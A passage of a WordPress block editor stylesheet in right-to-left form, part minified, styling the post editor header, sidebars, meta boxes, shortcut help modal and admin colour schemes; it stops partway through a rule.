.edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle:after,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon:after{content:none}.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon{width:60px}.edit-post-header__dropdown .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels .edit-post-header .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon{display:block}.edit-post-header__dropdown .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-left:8px;padding-right:8px}@media (min-width:600px){.edit-post-header__dropdown .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-left:12px;padding-right:12px}}.edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft:after,.edit-post-header__dropdown .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .edit-post-header .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .editor-post-saved-state.editor-post-saved-state:after{content:none}.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover{border-right:none}.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover:before{background-color:#ddd;content:"";height:24px;margin-right:8px;margin-top:4px;width:1px}.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover .block-editor-block-mover__move-button-container:before{background:#ddd;right:calc(50% + 1px);width:calc(100% - 24px)}.edit-post-header__dropdown .components-button.block-editor-list-view,.edit-post-header__dropdown .components-button.editor-history__redo,.edit-post-header__dropdown .components-button.editor-history__undo,.edit-post-header__dropdown .components-menu-item__button.components-menu-item__button,.edit-post-header__dropdown .table-of-contents .components-button{justify-content:flex-start;margin:0;padding:6px 40px 6px 6px;text-align:right;width:14.625rem}.show-icon-labels.interface-pinned-items{border-bottom:1px solid #ccc;display:block;margin:0 -12px;padding:6px 12px 12px}.show-icon-labels.interface-pinned-items>.components-button.has-icon{justify-content:flex-start;margin:0;padding:6px 8px 6px 6px;width:14.625rem}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=true] svg{display:block;max-width:24px}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=false]{padding-right:40px}.show-icon-labels.interface-pinned-items>.components-button.has-icon svg{margin-left:8px}@media (min-width:600px){.edit-post-header__post-preview-button{display:none}}.is-distraction-free .interface-interface-skeleton__header{border-bottom:none}.is-distraction-free .edit-post-header{background-color:#fff;border-bottom:1px solid #e0e0e0;position:absolute;width:100%}.is-distraction-free .edit-post-header>.edit-post-header__settings>.edit-post-header__post-preview-button{visibility:hidden}.is-distraction-free .edit-post-header>.edit-post-header__settings>.editor-preview-dropdown,.is-distraction-free .edit-post-header>.edit-post-header__settings>.interface-pinned-items,.is-distraction-free .edit-post-header>.edit-post-header__toolbar .editor-document-tools__document-overview-toggle{display:none}.is-distraction-free .interface-interface-skeleton__header:focus-within{opacity:1!important}.is-distraction-free .interface-interface-skeleton__header:focus-within div{transform:translateX(0) translateZ(0)!important}.is-distraction-free .components-editor-notices__dismissible{position:absolute;z-index:35}.edit-post-fullscreen-mode-close.components-button{display:none}@media (min-width:782px){.edit-post-fullscreen-mode-close.components-button{align-items:center;align-self:stretch;background:#1e1e1e;border:none;border-radius:0;color:#fff;display:flex;height:61px;margin-bottom:-1px;position:relative;width:60px}.edit-post-fullscreen-mode-close.components-button:active{color:#fff}.edit-post-fullscreen-mode-close.components-button:focus{box-shadow:none}.edit-post-fullscreen-mode-close.components-button:before{border-radius:4px;bottom:10px;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;content:"";display:block;left:9px;position:absolute;right:9px;top:9px;transition:box-shadow .1s ease}}@media (min-width:782px) and (prefers-reduced-motion:reduce){.edit-post-fullscreen-mode-close.components-button:before{transition-delay:0s;transition-duration:0s}}@media (min-width:782px){.edit-post-fullscreen-mode-close.components-button:hover:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #757575}.edit-post-fullscreen-mode-close.components-button.has-icon:hover:before{box-shadow:none}.edit-post-fullscreen-mode-close.components-button:focus:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a,inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}}.edit-post-fullscreen-mode-close.components-button .edit-post-fullscreen-mode-close_site-icon{border-radius:2px;height:36px;margin-top:-1px;object-fit:cover;width:36px}.edit-post-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-post-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-post-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-post-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-post-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-post-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 1rem 0 0;text-align:left}.edit-post-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-post-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-post-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 .2rem 0 0}.edit-post-layout__metaboxes{clear:both;flex-shrink:0}.edit-post-layout .components-editor-notices__snackbar{bottom:40px;left:0;padding-left:16px;padding-right:16px;position:fixed}.is-distraction-free .components-editor-notices__snackbar{bottom:20px}.edit-post-layout .components-editor-notices__snackbar{right:0}@media (min-width:783px){.edit-post-layout .components-editor-notices__snackbar{right:160px}}@media (min-width:783px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{right:36px}}@media (min-width:961px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{right:160px}}.folded .edit-post-layout .components-editor-notices__snackbar{right:0}@media (min-width:783px){.folded .edit-post-layout .components-editor-notices__snackbar{right:36px}}body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar{right:0!important}.edit-post-layout .editor-post-publish-panel{bottom:0;left:0;overflow:auto;position:fixed;right:0;top:46px;z-index:100001}@media (min-width:782px){.edit-post-layout .editor-post-publish-panel{animation:edit-post-post-publish-panel__slide-in-animation .1s forwards;border-right:1px solid #ddd;right:auto;top:32px;transform:translateX(-100%);width:281px;z-index:99998}}@media (min-width:782px) and (prefers-reduced-motion:reduce){.edit-post-layout .editor-post-publish-panel{animation-delay:0s;animation-duration:1ms}}@media (min-width:782px){body.is-fullscreen-mode .edit-post-layout .editor-post-publish-panel{top:0}[role=region]:focus .edit-post-layout .editor-post-publish-panel{transform:translateX(0)}}@keyframes edit-post-post-publish-panel__slide-in-animation{to{transform:translateX(0)}}.edit-post-layout .editor-post-publish-panel__header-publish-button{justify-content:center}.edit-post-layout__toggle-entities-saved-states-panel,.edit-post-layout__toggle-publish-panel,.edit-post-layout__toggle-sidebar-panel{background-color:#fff;border:1px dotted #ddd;bottom:auto;box-sizing:border-box;display:flex;height:auto!important;justify-content:center;left:0;padding:24px;position:fixed!important;right:auto;top:-9999em;width:280px;z-index:100000}.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__sidebar:focus .edit-post-layout__toggle-sidebar-panel,.interface-interface-skeleton__sidebar:focus-within .edit-post-layout__toggle-sidebar-panel{bottom:0;top:auto}.edit-post-layout .entities-saved-states__panel-header{height:61px}.edit-post-meta-boxes-area{position:relative}.edit-post-meta-boxes-area .inside,.edit-post-meta-boxes-area__container{box-sizing:initial}.edit-post-meta-boxes-area input,.edit-post-meta-boxes-area textarea{box-sizing:border-box}.edit-post-meta-boxes-area .postbox-header{border-bottom:0;border-top:1px solid #ddd}.edit-post-meta-boxes-area #poststuff{margin:0 auto;min-width:auto;padding-top:0}.edit-post-meta-boxes-area #poststuff .stuffbox>h3,.edit-post-meta-boxes-area #poststuff h2.hndle,.edit-post-meta-boxes-area #poststuff h3.hndle{box-sizing:border-box;color:inherit;font-weight:600;outline:none;padding:0 24px;position:relative;width:100%}.edit-post-meta-boxes-area .postbox{border:0;color:inherit;margin-bottom:0}.edit-post-meta-boxes-area .postbox>.inside{color:inherit;margin:0;padding:0 24px 24px}.edit-post-meta-boxes-area .postbox .handlediv{height:44px;width:44px}.edit-post-meta-boxes-area.is-loading:before{background:#0000;bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:1}.edit-post-meta-boxes-area .components-spinner{left:20px;position:absolute;top:10px;z-index:5}.edit-post-meta-boxes-area .is-hidden{display:none}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]{border:1px solid #757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked{background:#fff;border-color:#757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:before{margin:-3px -4px}.edit-post-meta-boxes-area__clear{clear:both}.components-panel__header.edit-post-sidebar__panel-tabs{padding-left:16px;padding-right:0}.components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{height:24px;min-width:24px;padding:0}@media (min-width:782px){.components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{display:flex}}.edit-post-sidebar__panel{margin-top:-1px}.edit-post-post-format,.edit-post-post-slug{align-items:stretch;display:flex;flex-direction:column}.edit-post-post-visibility__dialog .editor-post-visibility{margin:8px;min-width:248px}h2.edit-post-template-summary__title{font-weight:500;line-height:24px;margin:0 0 4px}.edit-post-text-editor{background-color:#fff;flex-grow:1;position:relative;width:100%}.edit-post-text-editor .editor-post-title.is-raw-text textarea,.edit-post-text-editor .editor-post-title:not(.is-raw-text){border:1px solid #949494;border-radius:0;font-family:Menlo,Consolas,monaco,monospace;font-size:2.5em;font-weight:400;line-height:1.4;max-width:none;padding:16px}@media (min-width:600px){.edit-post-text-editor .editor-post-title.is-raw-text textarea,.edit-post-text-editor .editor-post-title:not(.is-raw-text){padding:24px}}.edit-post-text-editor .editor-post-title.is-raw-text textarea:focus,.edit-post-text-editor .editor-post-title:not(.is-raw-text):focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-post-text-editor__body{margin-left:auto;margin-right:auto;max-width:1080px;padding:0 12px 12px;width:100%}@media (min-width:960px){.edit-post-text-editor__body{padding:0 24px 24px}}.edit-post-text-editor__toolbar{background:#fffc;display:flex;left:0;padding:4px 12px;position:sticky;right:0;top:0;z-index:1}@media (min-width:600px){.edit-post-text-editor__toolbar{padding:12px}}@media (min-width:960px){.edit-post-text-editor__toolbar{padding:12px 24px}}.edit-post-text-editor__toolbar h2{color:#1e1e1e;font-size:13px;line-height:36px;margin:0 0 0 auto}.edit-post-visual-editor{background-color:#ddd;display:flex;flex:1 0 auto;flex-flow:column;position:relative}.edit-post-visual-editor:not(.has-inline-canvas){overflow:hidden}.edit-post-visual-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:6px 12px}.edit-post-visual-editor .components-button.has-icon{padding:6px}.edit-post-visual-editor__content-area{box-sizing:border-box;display:flex;flex-grow:1;height:100%;position:relative;width:100%}.edit-post-welcome-guide,.edit-template-welcome-guide{width:312px}.edit-post-welcome-guide__image,.edit-template-welcome-guide__image{background:#00a0d2;margin:0 0 16px}.edit-post-welcome-guide__image>img,.edit-template-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-post-welcome-guide__heading,.edit-template-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-post-welcome-guide__text,.edit-template-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-post-welcome-guide__inserter-icon,.edit-template-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-template-welcome-guide .components-button svg{fill:#fff}.edit-post-start-page-options__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:782px){.edit-post-start-page-options__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.edit-post-start-page-options__modal-content .block-editor-block-patterns-list{column-count:4}}.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column;margin-bottom:24px}.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{min-height:100px}.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__content{width:100%}@keyframes edit-post__fade-in-animation{0%{opacity:0}to{opacity:1}}body.js.block-editor-page{background:#fff}body.js.block-editor-page #wpcontent{padding-right:0}body.js.block-editor-page #wpbody-content{padding-bottom:0}body.js.block-editor-page #wpbody-content>div:not(.block-editor):not(#screen-meta),body.js.block-editor-page #wpfooter{display:none}body.js.block-editor-page .a11y-speak-region{right:-1px;top:-1px}body.js.block-editor-page ul#adminmenu a.wp-has-current-submenu:after,body.js.block-editor-page ul#adminmenu>li.current>a.current:after{border-left-color:#fff}body.js.block-editor-page .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}.block-editor-page #wpwrap{overflow-y:auto}@media (min-width:782px){.block-editor-page #wpwrap{overflow-y:initial}}.components-modal__frame,.edit-post-header,.edit-post-sidebar,.edit-post-text-editor,.editor-post-publish-panel{box-sizing:border-box}.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-post-header *,.edit-post-header :after,.edit-post-header :before,.edit-post-sidebar *,.edit-post-sidebar :after,.edit-post-sidebar :before,.edit-post-text-editor *,.edit-post-text-editor :after,.edit-post-text-editor :before,.editor-post-publish-panel *,.editor-post-publish-panel :after,.editor-post-publish-panel :before{box-sizing:inherit}@media (min-width:600px){.block-editor__container{bottom:0;left:0;min-height:calc(100vh - 46px);position:absolute;right:0;top:0}}@media (min-width:782px){.block-editor__container{min-height:calc(100vh - 32px)}body.is-fullscreen-mode .block-editor__container{min-height:100vh}}.block-editor__container img{height:auto;max-width:100%}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}.interface-interface-skeleton__sidebar{border-right:none}@media (min-width:782px){.is-sidebar-opened .interface-interface-skeleton__sidebar{border-right:1px solid #e0e0e0;overflow:hidden scroll}}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.components-panel__header.interface-complementary-area-header__small{
  background:#fff;
  padding-left:4px;
}
.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
@media (min-width:782px){
  .components-panel__header.interface-complementary-area-header__small{
    display:none;
  }
}

.interface-complementary-area-header{
  background:#fff;
  padding-left:4px;
}
.interface-complementary-area-header .components-button.has-icon{
  display:none;
  margin-right:auto;
}
.interface-complementary-area-header .components-button.has-icon~.components-button{
  margin-right:0;
}
@media (min-width:782px){
  .interface-complementary-area-header .components-button.has-icon{
    display:flex;
  }
  .components-panel__header+.interface-complementary-area-header{
    margin-top:0;
  }
}

.interface-complementary-area{
  background:#fff;
  color:#1e1e1e;
}
@media (min-width:600px){
  .interface-complementary-area{
    -webkit-overflow-scrolling:touch;
  }
}
@media (min-width:782px){
  .interface-complementary-area{
    width:280px;
  }
}
.interface-complementary-area .components-panel{
  border:none;
  position:relative;
  z-index:0;
}
.interface-complementary-area .components-panel__header{
  position:sticky;
  top:0;
  z-index:1;
}
.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
  top:48px;
}
@media (min-width:782px){
  .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
    top:0;
  }
}
.interface-complementary-area p:not(.components-base-control__help){
  margin-top:0;
}
.interface-complementary-area h2{
  color:#1e1e1e;
  font-size:13px;
  margin-bottom:1.5em;
}
.interface-complementary-area h3{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}
.interface-complementary-area hr{
  border-bottom:1px solid #f0f0f0;
  border-top:none;
  margin:1.5em 0;
}
.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{
  box-shadow:none;
  margin-bottom:1.5em;
}
.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{
  margin-bottom:0;
}
.interface-complementary-area .block-editor-skip-to-selected-block:focus{
  bottom:10px;
  left:10px;
  right:auto;
  top:auto;
}

@media (min-width:782px){
  body.js.is-fullscreen-mode{
    height:calc(100% + 32px);
    margin-top:-32px;
  }
  body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{
    display:none;
  }
  body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{
    margin-right:0;
  }
}

html.interface-interface-skeleton__html-container{
  position:fixed;
  width:100%;
}
@media (min-width:782px){
  html.interface-interface-skeleton__html-container{
    position:static;
    width:auto;
  }
}

.interface-interface-skeleton{
  bottom:0;
  display:flex;
  flex-direction:row;
  height:auto;
  left:0;
  max-height:100%;
  position:fixed;
  top:46px;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    top:32px;
  }
  .is-fullscreen-mode .interface-interface-skeleton{
    top:0;
  }
}

.interface-interface-skeleton__editor{
  display:flex;
  flex:0 1 100%;
  flex-direction:column;
  overflow:hidden;
}

.interface-interface-skeleton{
  right:0;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    right:160px;
  }
}
@media (min-width:783px){
  .auto-fold .interface-interface-skeleton{
    right:36px;
  }
}
@media (min-width:961px){
  .auto-fold .interface-interface-skeleton{
    right:160px;
  }
}
.folded .interface-interface-skeleton{
  right:0;
}
@media (min-width:783px){
  .folded .interface-interface-skeleton{
    right:36px;
  }
}

body.is-fullscreen-mode .interface-interface-skeleton{
  right:0 !important;
}

.interface-interface-skeleton__body{
  display:flex;
  flex-grow:1;
  overflow:auto;
  overscroll-behavior-y:none;
}
@media (min-width:782px){
  .has-footer .interface-interface-skeleton__body{
    padding-bottom:25px;
  }
}

.interface-interface-skeleton__content{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:auto;
  z-index:20;
}
@media (min-width:782px){
  .interface-interface-skeleton__content{
    z-index:auto;
  }
}

.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
  background:#fff;
  bottom:0;
  color:#1e1e1e;
  flex-shrink:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
    position:relative !important;
    width:auto;
  }
  .is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{
    z-index:90;
  }
}

.interface-interface-skeleton__sidebar{
  overflow:auto;
}
@media (min-width:782px){
  .interface-interface-skeleton__sidebar{
    border-right:1px solid #e0e0e0;
  }
  .interface-interface-skeleton__secondary-sidebar{
    border-left:1px solid #e0e0e0;
  }
}

.interface-interface-skeleton__header{
  border-bottom:1px solid #e0e0e0;
  color:#1e1e1e;
  flex-shrink:0;
  height:auto;
  z-index:30;
}

.interface-interface-skeleton__footer{
  background-color:#fff;
  border-top:1px solid #e0e0e0;
  bottom:0;
  color:#1e1e1e;
  display:none;
  flex-shrink:0;
  height:auto;
  position:absolute;
  right:0;
  width:100%;
  z-index:90;
}
@media (min-width:782px){
  .interface-interface-skeleton__footer{
    display:flex;
  }
}
.interface-interface-skeleton__footer .block-editor-block-breadcrumb{
  align-items:center;
  background:#fff;
  display:flex;
  font-size:13px;
  height:24px;
  padding:0 18px;
  z-index:30;
}

.interface-interface-skeleton__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:0;
  position:fixed !important;
  right:auto;
  top:-9999em;
  width:100vw;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__actions{
    width:280px;
  }
}
.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{
  bottom:0;
  top:auto;
}
.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
  top:46px;
}
@media (min-width:782px){
  .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    border-right:1px solid #ddd;
    top:32px;
  }
  .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    top:0;
  }
}

.interface-more-menu-dropdown{
  margin-right:-4px;
}
.interface-more-menu-dropdown .components-button{
  padding:0 2px;
  width:auto;
}
@media (min-width:600px){
  .interface-more-menu-dropdown{
    margin-right:0;
  }
  .interface-more-menu-dropdown .components-button{
    padding:0 4px;
  }
}

.interface-more-menu-dropdown__content .components-popover__content{
  min-width:300px;
}
@media (min-width:480px){
  .interface-more-menu-dropdown__content .components-popover__content{
    max-width:480px;
  }
}
.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{
  padding:0;
}

.components-popover.interface-more-menu-dropdown__content{
  z-index:99998;
}

.interface-pinned-items{
  display:flex;
  gap:8px;
}
.interface-pinned-items .components-button{
  display:none;
  margin:0;
}
.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{
  display:flex;
}
.interface-pinned-items .components-button svg{
  max-height:24px;
  max-width:24px;
}
@media (min-width:600px){
  .interface-pinned-items .components-button{
    display:flex;
  }
}

.edit-post-header{
  align-items:center;
  background:#fff;
  display:flex;
  flex-wrap:wrap;
  height:60px;
  justify-content:space-between;
  max-width:100vw;
}
@media (min-width:280px){
  .edit-post-header{
    flex-wrap:nowrap;
  }
}

.edit-post-header__toolbar{
  align-items:center;
  display:flex;
  flex-grow:3;
  flex-shrink:8;
  overflow:hidden;
  padding:2px 0;
}
.edit-post-header__toolbar .table-of-contents{
  display:none;
}
@media (min-width:600px){
  .edit-post-header__toolbar .table-of-contents{
    display:block;
  }
}
.edit-post-header__toolbar .selected-block-tools-wrapper{
  align-items:center;
  display:flex;
  height:60px;
  overflow:hidden;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{
  border-bottom:0;
  height:100%;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-toolbar{
  height:100%;
  padding-top:15px;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){
  height:32px;
}
.edit-post-header__toolbar .selected-block-tools-wrapper:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-right:8px;
  width:1px;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group{
  border-left:none;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group:after,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-right:8px;
  margin-top:4px;
  width:1px;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{
  display:none;
}
.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{
  height:32px;
  overflow:visible;
}
@media (min-width:600px){
  .edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    position:relative;
    top:-10px;
  }
}
.edit-post-header__toolbar .selected-block-tools-wrapper.is-collapsed{
  display:none;
}

.edit-post-header__block-tools-toggle{
  margin-right:2px;
}

.edit-post-header__center{
  display:flex;
  flex-grow:1;
  justify-content:center;
}
.edit-post-header__center.is-collapsed{
  display:none;
}
.edit-post-header__settings{
